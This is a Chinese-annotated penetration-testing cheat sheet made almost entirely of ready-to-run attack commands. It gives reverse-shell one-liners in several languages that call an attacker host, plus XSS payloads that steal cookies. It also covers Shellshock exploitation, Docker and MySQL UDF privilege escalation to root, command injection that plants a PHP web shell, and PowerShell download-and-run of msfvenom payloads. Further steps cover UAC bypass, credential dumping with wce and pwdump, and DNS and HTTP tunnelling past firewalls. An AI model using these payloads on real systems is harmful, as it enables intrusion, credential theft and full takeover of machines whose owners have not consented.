python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443
# 如果 -e 参数被禁用,可以尝试以下命令
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/
# 如果你安装错了 netcat 的版本,请尝试以下命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f
# 如果 netcat 不可用或者 /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe
# http://baike.baidu.com/view/418628.htm
# 开启 X 服务器 (:1 – 监听 TCP 端口 6001)
apt-get install xnest
Xnest :1
# 记得授权来自目标 IP 的连接
xterm -display 127.0.0.1:1
# 授权访问
xhost +targetip
# 在目标机器上连接回我们的 X 服务器
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")
<script>document.location=http://IP:PORT</script>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
";!–"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC="jav ascript:alert('XSS');">
perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(">< iframes http://google.com < iframes >)
<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20οnlοad=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
<img src=asdf οnerrοr=alert(document.cookie)>
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的 N 倍加强版。
官网:http://www.dest-unreach.org/socat/
Socat 简介、安装、使用:https://blog.csdn.net/u010285974/article/details/81209594
Socat 命令:https://www.jianshu.com/p/54005e3095f3
# 远端服务器
# 假设你准备让 SCTP socket 监听端口 80/SCTP 并且 sshd 端口在 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22
# 本地端
# 将 SERVER_IP 换成远端服务器的地址,然后将 80 换成 SCTP 监听的端口号
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
# 创建 socks 代理
# 替换 username 和 -p 的端口号
$ ssh -lusername localhost -D 8080 -p 1337
# 安装服务
$ apt-get install tor torsocks
# 绑定 ssh 到 tor 服务端口 80
# /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion
# ssh 客户端连接
$ apt-get install torsocks
$ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80
Metagoofil 是一款利用Google收集信息的工具。它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能
官网:http://www.edge-security.com/metagoofil.php
metagoofil 用法:https://blog.csdn.net/feier7501/article/details/8937376
# 它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
一个发现并利用服务器 Shellshock 的工具
安装及使用:# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
# 查看文件
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
# 绑定 shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
# 反弹 Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
# 获取 Docker 的 Root
# user 必须在 docker 用户组中
ek@victum:~/docker-test$ id
uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)
ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test
ek@victum:~$ cat > Dockerfile
FROM debian:wheezy
ENV WORKDIR /stuff
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR
<< EOF
ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root
ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'
# 让数据和命令使用 DNS 隧道传输以绕过防火墙的检查
# dnscat2 支持从目标主机上面上传和下载命令来获取文件、数据和程序
# 服务器 (攻击者)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059
# 客户机 (目标)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>
$ nasm -f elf32 simple32.asm -o simple32.o
$ ld -m elf_i386 simple32.o simple32
$ nasm -f elf64 simple.asm -o simple.o
$ ld simple.o -o simple
# 生成 shell 使用的 ssh 密钥
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"
# 增加用户 tempuser
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh
# 反弹 ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'
attacker:~$ curl http://victum.tk/shell.php?cmd=id
# 在服务器上下载 shell (phpshell.php)
http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27
# 运行 nc 并执行 phpshell.php
attacker:~$ nc -nvlp 1337
msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe
# 显示账户配置
net user <login>
# Kali 上下载 psexec
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
# 使用 powershell 脚本上传 psexec.exe 到目标机器
echo $client = New-Object System.Net.WebClient > script.ps1
echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1
# 使用 powershell 脚本上传 danger.exe 到目标机器
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1
# 使用预编译的二进制文件绕过 UAC:
https://github.com/hfiref0x/UACME
# 使用 powershell 脚本上传 https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe 到目标机器
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1
# 在 Kali 上创建监听
nc -lvp 4444
# 以系统权限使用 Akagi64 运行 danger.exe
Akagi64.exe 1 C:\Users\User\Desktop\danger.exe
# 在 Kali 上创建监听
nc -lvp 4444
# 下一步就会反弹给我们一个提过权的 shell
# 以系统权限使用 PsExec 运行 danger.exe
psexec.exe –i –d –accepteula –s danger.exe
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/
# 查找目标机器是否安装了补丁,输入如下命令
wmic qfe get
wmic qfe | find "3057191"
# 上传编译后的利用程序并运行它
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe
# 默认情况下其会以系统权限执行 cmd.exe,但我们需要改变源代码以运行我们上传的 danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 下载它并定位到 "main.c"
# 使用 wce.exe 获取已登录用户的明文账号密码
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w
# 使用 pwdump7 获取其他用户的密码哈希值
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');
user:~$ su -
Password:
user:~# whoami
root
root:~# id
uid=0(root) gid=0(root) groups=0(root)
【Linux】LD_PRELOAD用法:https://blog.csdn.net/iEearth/article/details/49952047
$ wget https://github.com/jivoi/pentest/ldpreload_shell.c
$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
注:枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。–参考自 shotgun 在知乎上的解释。
osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其可以利用时序攻击枚举 OpenSSH 用户名,并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。
# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
注: ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
ReDuh-Gui 号称端口转发神器。
# https://github.com/sensepost/reDuh
# 步骤 1
# 上传 reDuh.jsp 目标服务器
$ http://192.168.10.50/uploads/reDuh.jsp
# 步骤 2
# 在本机运行 reDuhClient
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp
# 步骤 3
# 使用 nc 连接管理端口
$ nc -nvv 127.0.0.1 1010
# 步骤 4
# 使用隧道转发本地端口到远程目标端口
[createTunnel] 7777:172.16.0.4:3389
# 步骤 5
# 使用 RDP 连接远程
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777